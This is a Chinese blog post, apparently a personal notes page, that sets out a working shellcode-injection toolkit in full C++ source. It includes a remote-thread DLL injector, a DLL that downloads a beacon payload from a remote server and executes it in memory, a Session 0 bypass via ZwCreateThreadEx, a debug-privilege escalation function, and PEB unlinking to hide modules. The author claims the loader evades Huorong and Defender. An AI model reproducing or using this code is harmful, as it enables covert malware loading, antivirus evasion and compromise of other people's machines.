首页 > 系统相关 >Shellcode注入总结

Shellcode注入总结

时间:2024-03-26 20:13:49浏览次数:28  
标签:总结 iResult include return printf DWORD NULL Shellcode 注入

Shellcode注入总结

6x0 远程线程注入dll

通过在其他进程创建一个远程线程,执行我们的shellcode加载器dll

效果:

目前dll的shellcode加载器使用了远程加载,能大概绕过火绒静动态,defender的静态。360动静态全杀

6x0x0 直接看注入exe代码:

#include <iostream>
#include <tchar.h>
#include <windows.h>
#include <TlHelp32.h>


DWORD GetProcessPID(LPCTSTR lpProcessName)
{
    DWORD Ret = 0;
    PROCESSENTRY32 p32;
    //PROCESSENTRY32是一个存储进程信息的结构体类型,这里定义了一个名为 p32 的 PROCESSENTRY32 类型的变量
    HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    //使用作用域解析运算符::来明确指定全局命名空间中的函数,这样可以避免命名冲突
    if (lpSnapshot == INVALID_HANDLE_VALUE)
        //INVALID_HANDLE_VALUE是CreateToolhelp32Snapshot函数的返回值
    {
        printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
        return Ret;
    }
    p32.dwSize = sizeof(PROCESSENTRY32);
    // p32.dwSize是结构体的大小,需要在使用前设置
    ::Process32First(lpSnapshot, &p32);
    do {
        if (!lstrcmp(p32.szExeFile, lpProcessName))
        {
            Ret = p32.th32ProcessID;
            break;
        }
    } while (::Process32Next(lpSnapshot, &p32));
    ::CloseHandle(lpSnapshot);
    return Ret;
}
DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName)
{
    DWORD size = 0;
    DWORD DllAddr = 0;
    // 1.打开进程
    HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    if (hprocess == NULL)
    {
        printf("OpenProcess error!\n");
        return FALSE;
    }
    size = (wcslen(DllName) + 1) * sizeof(TCHAR);
    // 2.申请空间
    LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT,
        PAGE_READWRITE);
    if (pAllocMemory == NULL)
    {
        printf("VirtualAllocEx error!\n");
        return FALSE;
    }
    // 3.写入内存
    BOOL Write = WriteProcessMemory(hprocess, pAllocMemory, DllName, size,
        NULL);
    if (pAllocMemory == 0)
    {
        printf("WriteProcessMemory error!\n");
        return FALSE;
    }
    // 4.获取LoadLibrary - kenrel32.dll
    FARPROC pThread = GetProcAddress(GetModuleHandle(L"kernel32.dll"),
        "LoadLibraryW");
    LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
    // 5.创建线程
    HANDLE hThread = CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory,
        0, NULL);
    if (hThread == NULL)
    {
        printf("CreateRemoteThread error!\n");
        return FALSE;
    }
    // 6.等待线程函数结束
    WaitForSingleObject(hThread, -1);
    // 7.释放DLL空间
    VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);
    // 8.关闭句柄
    CloseHandle(hprocess);
    return TRUE;
}
int main()
{
    TCHAR szFilePath[MAX_PATH];
    GetModuleFileName(NULL, szFilePath, MAX_PATH);

    // 从路径中提取目录路径
    std::wstring strFilePath(szFilePath);
    std::wstring strDirectory = strFilePath.substr(0, strFilePath.find_last_of(L"\\") + 1);

    // 构建 Shellcode.dll 的路径
    std::wstring strDllPath = strDirectory + L"Shellcode.dll";

    // 获取 notepad.exe 进程的 PID,并注入 Shellcode.dll
    DWORD PID = GetProcessPID(L"notepad.exe");
    DWORD TMP = RemoteThreadInject(PID, strDllPath.c_str());
}

vs编译的程序在其他pc环境下运行报错丢失VCRUNTIME140D.dll

在VS工程项目中,设置 属性—>配置属性—>C/C++ —>代码生成—>运行库,Release 选择 多线程(/MT), Debug 选择 多线程调试 (/MTd)

代码解释:

  • 第一个函数GetProcessPID获取进程PID
  • 第二个函数先通过OpenProcess打开我们想注入的进程A
  • VirtualAllocEx远程在进程A申请一块空间
  • WriteProcessMemory在申请的空间写入dllname
  • GetProcAddress获取LoadLibraryW函数的地址
  • CreateRemoteThread远程创建线程,主要是第三个第四个参数,第三个参数是LoadLibraryW函数的地址,第四个参数是我们要传给LoadLibraryW的参数,也就是我们的dllname,也就是这条线程执行LoadLibraryW函数,参数是dllname。
  • 最后在main函数获取shellcode.dll的路径,获取PID并执行RemoteThreadInject

6x0x1 dll加载shellcode的代码

**注意我们需要在dll的主函数DllMain创建线程去加载我们的shellcode,而不是直接在DllMain去加载,不然程序会堵塞**
dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

LPVOID shellcode_addr;

void fun()
{
    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5002";
    char* Resource = "beacon64.bin";

    //getShellcode_Run(argv[1], argv[2], argv[3]);
    int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

    shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
    DWORD Oldprotect = 0;
    VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);

    ((void(*)())shellcode_addr)();
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        unsigned long ulThreadId = 0;
        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)fun, NULL, 0, &ulThreadId);
    }
    break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

pch.cpp

// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif



// 当使用预编译的头时,需要使用此源文件,编译才能成功。
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr, 0, 400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}

pch.h

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>


#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr);
#endif //PCH_H

6x0x2 使用agrv优化loader

注意第一行int _tmain(int argc,TCHAR* argv[]),这里字符集的问题很多,建议使用unicode,他在内存中是宽字节存储,所以打印需要wprintf函数

int _tmain(int argc,TCHAR* argv[])
{
    if (argc != 3) {
        std::cerr << "Usage: " << argv[0] << " <ProcessName> <DllPath>" << std::endl;
        return 1;
    }

    // 从命令行参数中获取进程名称和 DLL 文件路径
    //wprintf(L"%s", argv[1]);

    // 获取当前程序的路径
    TCHAR szFilePath[MAX_PATH];
    GetModuleFileName(NULL, szFilePath, MAX_PATH);

    // 从路径中提取目录路径
    std::wstring strFilePath(szFilePath);
    std::wstring strDirectory = strFilePath.substr(0, strFilePath.find_last_of(L"\\") + 1);

    // 构建 Shellcode.dll 的路径
    std::wstring strDllFullPath = strDirectory + argv[2];

    if (argc == 3) {
        DWORD PID = 0;
        PID = GetProcessPID(argv[1]);
        std::wcout << L"Process PID: " << PID << std::endl;
        DWORD TMP = RemoteThreadInject(PID, strDllFullPath.c_str());
        std::wcout << L"RemoteThreadInject result: " << TMP << std::endl;
    }
    else {
        std::cerr << "fail." << std::endl;
    }

    return 0;


    // 获取 notepad.exe 进程的 PID,并注入 Shellcode.dll
    
}

6x0x3 这是使用多字节字符集的代码

int _tmain(int argc,TCHAR* argv[])
{
    if (argc != 3) {
        std::cerr << "Usage: " << argv[0] << " <ProcessName> <DllPath>" << std::endl;
        return 1;
    }

    // 从命令行参数中获取进程名称和 DLL 文件路径
    //wprintf(L"%s", argv[1]);

    // 获取当前程序的路径
    TCHAR szFilePath[MAX_PATH];
    GetModuleFileName(NULL, szFilePath, MAX_PATH);

    // 从路径中提取目录路径
    std::string strFilePath(szFilePath);
    std::string strDirectory = strFilePath.substr(0, strFilePath.find_last_of("\\") + 1);

    // 构建 Shellcode.dll 的路径
    std::string strDllFullPath = strDirectory + argv[2];

    if (argc == 3) {
        DWORD PID = 0;
        //printf("%s", argv[1]);
        PID = GetProcessPID(argv[1]);
        std::cout << "Process PID: " << PID << std::endl;
        DWORD TMP = RemoteThreadInject(PID, strDllFullPath.c_str());
        std::cout << "RemoteThreadInject result: " << TMP << std::endl;
    }
    else {
        std::cerr << "fail." << std::endl;
    }

    return 0;
    
}

如果是打印整形的话可能还需要使用_tstol转一下

6x1 突破Session 0 隔离

注入系统进程时,上面的远程线程注入就用不了了,所以我们需要换一个未定义的底层函数ZwCreateThreadEx来进行注入

Session 0

服务代表操作系统的核心组件和服务,例如用户登录和注销服务、Windows服务管理器、本地安全权限维护、设备驱动程序等
应用程序代表用户会话(非管理员权限)
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序
image.png
从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,Session 0 隔离的目的是防止服务和系统级进程受到来自用户模式程序的恶意攻击,这些攻击可能会利用服务的特权来对系统进行潜在的破坏。通过将系统服务和用户模式应用程序隔离到不同的会话中,可以减少潜在的安全威胁,提高系统的整体安全性。

6x1x0 IDA反汇编跟CreateRemoteThread函数

kernel32!CreateRemoteThread
可以看到对 CreateRemoteThread 的参数进行一些处理,由原来的7个参数扩展到了8个参数,并且对dwCreationFlags参数进行了一些安全处理,规避了系统规定参数外的无效参数。然后将参数转发到KERNELBASE模块
点一下红色的函数跳转到kernelbase.dll
image.png
导出表可以看是哪个dll
image.png
kernelbase!CreateRemoteThreadEx
重新打开一个新的kernelbase.dll文件,找到CreateRemoteThreadEx
点空格可以按流程图看,就不用自己去判断汇编代码因为汇编代码有jz等跳转代码,只看汇编需要一步一步去跟,也可以按tab键用伪代码看
直到找到一个跟CreateRemoteThread比较相近的函数,还是ntdll的函数,那么就是3环里最后一个函数了
image.png
ntdll!NtCreateThreadEx
image.png

kernel32!CreateRemoteThread -> kernelbase!CreateRemoteThreadEx-> ntdll!NtCreateThreadEx -> syscall -> 内核 -> SSDT表

6x1x1 突破session 0 隔离

由于SESSION 0隔离机制在内核6.0之后(vista、7、8...),当创建一个进程后,并不会立即运行,通过先挂起进程,查看要运行的进程所在会话层之后再决定是否恢复进程运行(待逆向观察)
ZwCreateThreadEx 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中,CreateRemoteThread 注入系统进程会失败的原因是因为调用 ZwCreateThreadEx 创建远程线程时,第七个参数CreateThreadFlags 为1,他会导致线程创建完成后一直挂起无法恢复进程运行,导致DLL注入失败。但是我们自己调用ZwCreateThreadEx 再给第七个参数传入0即可

代码实现:

其实就是更换了远程线程注入的函数ZwCreateThreadEx

#include <iostream>
#include <tchar.h>
#include <windows.h>
#include <TlHelp32.h>


DWORD GetProcessPID(LPCTSTR lpProcessName)
{
    DWORD Ret = 0;
    PROCESSENTRY32 p32;
    //PROCESSENTRY32是一个存储进程信息的结构体类型,这里定义了一个名为 p32 的 PROCESSENTRY32 类型的变量
    HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    //使用作用域解析运算符::来明确指定全局命名空间中的函数,这样可以避免命名冲突
    if (lpSnapshot == INVALID_HANDLE_VALUE)
        //INVALID_HANDLE_VALUE是CreateToolhelp32Snapshot函数的返回值
    {
        printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
        return Ret;
    }
    p32.dwSize = sizeof(PROCESSENTRY32);
    // p32.dwSize是结构体的大小,需要在使用前设置
    ::Process32First(lpSnapshot, &p32);
    do {
        if (!lstrcmp(p32.szExeFile, lpProcessName))
        {
            Ret = p32.th32ProcessID;
            break;
        }
    } while (::Process32Next(lpSnapshot, &p32));
    ::CloseHandle(lpSnapshot);
    return Ret;
}
DWORD RemoteThreadInject(DWORD Pid, LPCSTR DllName)
{
    DWORD size = 0;
    DWORD DllAddr = 0;
    // 1.打开进程
    HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    if (hprocess == NULL)
    {
        printf("OpenProcess error!\n");
        return FALSE;
    }
    size = (strlen(DllName) + 1) * sizeof(TCHAR);
    // 2.申请空间
    LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT,
        PAGE_READWRITE);
    if (pAllocMemory == NULL)
    {
        printf("VirtualAllocEx error!\n");
        return FALSE;
    }
    // 3.写入内存
    BOOL Write = WriteProcessMemory(hprocess, pAllocMemory, DllName, size,
        NULL);
    if (pAllocMemory == 0)
    {
        printf("WriteProcessMemory error!\n");
        return FALSE;
    }
    // 4.获取LoadLibrary - kenrel32.dll
    FARPROC pThread = GetProcAddress(GetModuleHandle("kernel32.dll"),
        "LoadLibraryW");
    LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
    // 加载 ntdll.dll
    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll)
    {
        printf("ntdll加载失败。\n");
        return FALSE;
    }
    //5.调用ZwCreateThreadEx创建线程

#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        printf("GetProcAddress_ZwCreateThread\n");
        return FALSE;
    }
    // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess, (LPTHREAD_START_ROUTINE)addr, pAllocMemory, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        printf("ZwCreateThreadEx fail\n");
        return FALSE;
    }

    // 6.等待线程函数结束
    WaitForSingleObject(hRemoteThread, -1);
    // 7.释放DLL空间
    VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);
    // 8.关闭句柄
    CloseHandle(hprocess);
    return TRUE;
}
int main(int argc, TCHAR* argv[])
{
    if (argc != 3) {
        std::cerr << "Usage: " << argv[0] << " <ProcessName> <DllPath>" << std::endl;
        return 1;
    }

    // 从命令行参数中获取进程名称和 DLL 文件路径
    //wprintf(L"%s", argv[1]);

    // 获取当前程序的路径
    TCHAR szFilePath[MAX_PATH];
    GetModuleFileName(NULL, szFilePath, MAX_PATH);

    // 从路径中提取目录路径
    std::string strFilePath(szFilePath);
    std::string strDirectory = strFilePath.substr(0, strFilePath.find_last_of("\\") + 1);

    // 构建 Shellcode.dll 的路径
    std::string strDllFullPath = strDirectory + argv[2];

    if (argc == 3) {
        DWORD PID = 0;
        //printf("%s", argv[1]);
        PID = GetProcessPID(argv[1]);
        std::cout << "Process PID: " << PID << std::endl;
        DWORD TMP = RemoteThreadInject(PID, strDllFullPath.c_str());
        std::cout << "RemoteThreadInject result: " << TMP << std::endl;
    }
    else {
        std::cerr << "fail." << std::endl;
    }

    return 0;

}

提权函数

// 提权函数
BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL fOk = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fOk;
}

6x2 3环断链隐藏dll

6x2x0 TEB/PEB

每个线程都有一个TEB结构来存储线程的一些属性结构,32位中TEB的地址用 fs:[0] 来获取,64位TEB 的地址可以通过 GS 寄存器来获取
image.png
在0x30这个地址有一个指针指向 PEB 结构,PEB就是进程用来记录自己信息的一个结构
image.png
PEB的 0x00c 偏移有一个_PEB_LDR_DATA结构跟进去
image.png
InLoadOrderModuleList :模块加载的顺序
InMemoryOrderModuleList :模块在内存的顺序
InInitializationOrderModuleList :模块初始化的顺序
结构中提供了三个链表,链表内的节点都是一样的,只是排序不同。由于我们要寻找kernel32的基址,所以我们选择第三个 InInitializationOrderModuleList ,这样kernel32的链表节点会比较靠前
image.png
这个结构有两个成员,第一个成员 Flink 指向下一个节点, Blink 指向上一个节点。
接下来是重点:
_PEB_LDR_DATA结构只是一个入口,不是链表节点
image.png
真正的链表节点是下图的_LDR_DATA_TABLE_ENTRY
image.png
整体结构:
image.png

6x2x1 64位asm内联汇编

1、创建一个源文件asm.asm
2、asm文件属性设置
image.png
3、自定义生成工具设置:

ml64 /c %(filename).asm

%(filename).obj;%(Outputs)

image.png
asm代码模板

EXTERN  myprint:PROC  ;引用外部函数
EXTERN  g_iValue:DQ   ;引用外部变量,dq是QWORD,8字节的变量

.DATA
val1 DQ ?;自己定义变量

.CODE

func2 PROC
    sub rsp,28h  ; 这个地方可能是为了栈空间对齐,不这样做有可能会崩掉,原因未知。反正反汇编一x64的代码都有这个东西
	call myprint
	mov r10,g_iValue ; 此处使用中的stdafx.h全局变量。
    mov val1,r10  ; 使用自定义的变量
    mov rax,val1 ; 写入返回值
	add rsp,28h
	ret
FUNC2 ENDP
END

在汇编中调用winapi

有时候需要在汇编中调用windows的64位的API,在调用API之前首先要明白函数调用约定。
在32位系统中我们调用的用户态API一般都遵循WINAPI(__stdcall)的调用约定,主要规则有两条: 1. 函数参数由右向左入栈;2. 函数调用结束后由被调用函数清除栈内数据(其实是被调者参数的清除)。所以在调用一个遵循WINAPI的函数之后,不需要自己来做被调函数栈空间的清除,因为被调函数已经恢复过了。而在x64汇编中,两方面都发生了变化。一是前四个参数分析通过四个寄存器传递:RCX、RDX、R8、R9,如果还有更多的参数,才通过椎栈传递。二是调用者负责椎栈空间的分配与回收。

INCLUDELIB kernel32.lib ; 告诉连接器链接这个动态库
EXTERN MessageBoxA:PROC  ; 引用 MessageBoxA函数

.DATA
; 定义局部变量
szCaption   db  '恭喜',0  
szText      db  '当您看到这个信息的时候,您已经可以编译Win32汇编程序了!',0  

.CODE
func2 PROC
    sub rsp,28h
    mov rcx, 0
    mov rdx, offset szText;
	mov r8, offset szCaption
    mov r9, 0
    call MessageBoxA 
	add rsp,28h  
	ret
FUNC2 ENDP
END

sub rsp,28h是为了给被调用函数的参数和返回地址预留栈空间

6x2X2 3环断链隐藏实现

实现代码:

#include <Windows.h>
#include <stdio.h>

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// LDR链表头
typedef struct _PEB_LDR_DATA
{
	DWORD Length;
	bool Initialized;
	PVOID SsHandle;
	LIST_ENTRY InLoadOrderModuleList; // 指向了 InLoadOrderModuleList 链表的第一项
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	void* BaseAddress;
	void* EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	SHORT LoadCount;
	SHORT TlsIndex;
	HANDLE SectionHandle;
	ULONG CheckSum;
	ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
void HideModule(HANDLE hModule)
{
	PPEB_LDR_DATA ldr;
	PLDR_DATA_TABLE_ENTRY ldte;
	__asm
	{
		mov eax, fs: [0x30]		//定位到PEB
		mov ecx, [eax + 0x0c]	//定位到LDR
		mov ldr, ecx
	}
	PLIST_ENTRY Head, Cur;
	Head = &(ldr->InLoadOrderModuleList);
	Cur = Head->Flink;
	do
	{
		ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY,
			InLoadOrderModuleList);
		if (ldte->BaseAddress == hModule)
		{
            
            //匹配到我们指定的dll后进行断链操作
			ldte->InLoadOrderModuleList.Blink->Flink = ldte -> InLoadOrderModuleList.Flink;
			ldte->InLoadOrderModuleList.Flink->Blink = ldte -> InLoadOrderModuleList.Blink;
		
        }
		Cur = Cur->Flink;
	} while (Head != Cur);
	Head = &(ldr->InMemoryOrderModuleList);
	Cur = Head->Flink;

//三次dowhile给三个表都断链
	do
	{
		ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY,
			InMemoryOrderModuleList);
		if (ldte->BaseAddress == hModule)
		{
			ldte->InMemoryOrderModuleList.Blink->Flink = ldte -> InMemoryOrderModuleList.Flink;
			ldte->InMemoryOrderModuleList.Flink->Blink = ldte -> InMemoryOrderModuleList.Blink;
		}
		Cur = Cur->Flink;
	} while (Head != Cur);
	Head = &(ldr->InInitializationOrderModuleList);
	Cur = Head->Flink;
	do
	{
		ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY,
			InInitializationOrderModuleList);
		if (ldte->BaseAddress == hModule)
		{
			ldte->InInitializationOrderModuleList.Blink->Flink = ldte -> InInitializationOrderModuleList.Flink;
			ldte->InInitializationOrderModuleList.Flink->Blink = ldte -> InInitializationOrderModuleList.Blink;
		}
		Cur = Cur->Flink;
	} while (Head != Cur);

}
int main(int argc, CHAR* argv[])
{
	printf("点任意按键开始断链");
	getchar();
	HideModule(GetModuleHandleA("kernel32.dll"));
	printf("断链成功\n");
	getchar();
	return 0;
}

标签:总结,iResult,include,return,printf,DWORD,NULL,Shellcode,注入
From: https://www.cnblogs.com/xiaoxin07/p/18097443

相关文章

  • 20240324比赛总结
    T1卫星照片https://gxyzoj.com/d/hzoj/p/3657bfs暴力找联通块,再暴力判断即可因为某些原因代码丢了,就不放了T2[luogu3802]小魔女帕琪https://gxyzoj.com/d/hzoj/p/3656考虑到,前7个均不同的概率为\(\prod_{i=1}^{7}\dfrac{a_i}{sum+1-i}\times7!\)因为每种情况均有\(\pro......
  • Android开发两年,我要跳槽去阿里巴巴了,做个阶段总结
    Host:www.baidu.comContent-Type:text/plain//Body搜索****2)响应报文//状态行(包括HTTP版本、状态码,状态信息)HTTP/1.1200OK//HeadersContent-Type:application/json;charset=utf-8//Body[{“info”:“xixi”}]3)常用状态码主要分为五种类型:1开头,代表临时......
  • 3. 文件上传漏洞——漏洞总结笔记
    一、文件上传漏洞前提条件:能上传webshell(若仅让上传图片,而又绕不过去,则不行)webshell路径可知(需要访问目标,不知道则访问不了)webshell 可以被访问webshell可以被解析(即可以显示页面;若返回页面直接显示代码,并没有解析)判断确认是什么过滤?上传任意......
  • FPGA亚稳态学习总结
     首先是组合逻辑电路考虑的是竞争冒险,冒险会产生毛刺。重点研究如何去毛刺时序逻辑电路考虑的是时序不满足会产生的亚稳态问题:如何考量时序满不满足呢?根据不同的场景又有不同的说法。时序分析的两组基本概念建立时间与保持时间1.在同步系统和异步系统(跨时钟域传输)中有两个......
  • 攻防中的信息收集总结
    1.公司查询备案号能拿到公司最直接的域名信息工信部的ICP备案查询系统:https://beian.miit.gov.cn/#/Integrated/recordQuery爱企查,企查查收集关系图谱、企业图谱whois查询http://whois.chinaz.com/https://whois.aizhan.com/enscan工具个人觉得非常不错的收集子公......
  • 【SpringBoot3+Mybatis】小程序和后台管理系统 员工/分类/菜品/套餐管理 上传文件 CRU
    文章目录一、项目介绍&Github二、技术选型三、开发环境搭建四、员工管理4.1新增员工①sql②对象拷贝DTO与Entity③异常捕获与处理④动态获取当前登录者Id⑤ThreadLocal4.2员工分页查询①请求参数实体与响应数据实体②controller层③service层使用pageHelper......
  • 数学分析基本定义定理总结
    数学分析中的重要概念与定理一、实数集完备性基本定理实数稠密性Archimedes性实数集基本定理确界原理:非空有界数集有上/下界则必有上/下确界上确界/下确界单调有界定理:单调有界数列必有极限区间套定理:实数系中存在唯一一点包含在闭区间套的所有闭区间之中......
  • 【WEEK5】学习目标及总结【SpringMVC+MySQL】【中文版】
    学习目标:彻底完成SpringMVC的学习两周完成MySQL的学习——第一周学习内容:参考视频教程【狂神说Java】SpringMVC最新教程IDEA版通俗易懂拦截器文件的上传和下载学习时间及产出:第五周MON~Fri2024.3.25【WEEK5】【DAY1】拦截器【中文版】【WEEK5】【DAY1】Inter......
  • Linux调试小技巧总结
    1如果你是release运行时出问题,很难复现请,参考我的这篇博客,在编译之初做好准备  https://www.cnblogs.com/8335IT/p/18079295  linux上编译release并剥离调试信息  配合gdbattachpid/c/breakXXX.cpp:lineNo./s/n/pstack等在线调试(root)2如果你是测试过程中发现crash......
  • 0基础成功转行网络安全工程师,年薪25W+,经验总结都在这(建议收藏)
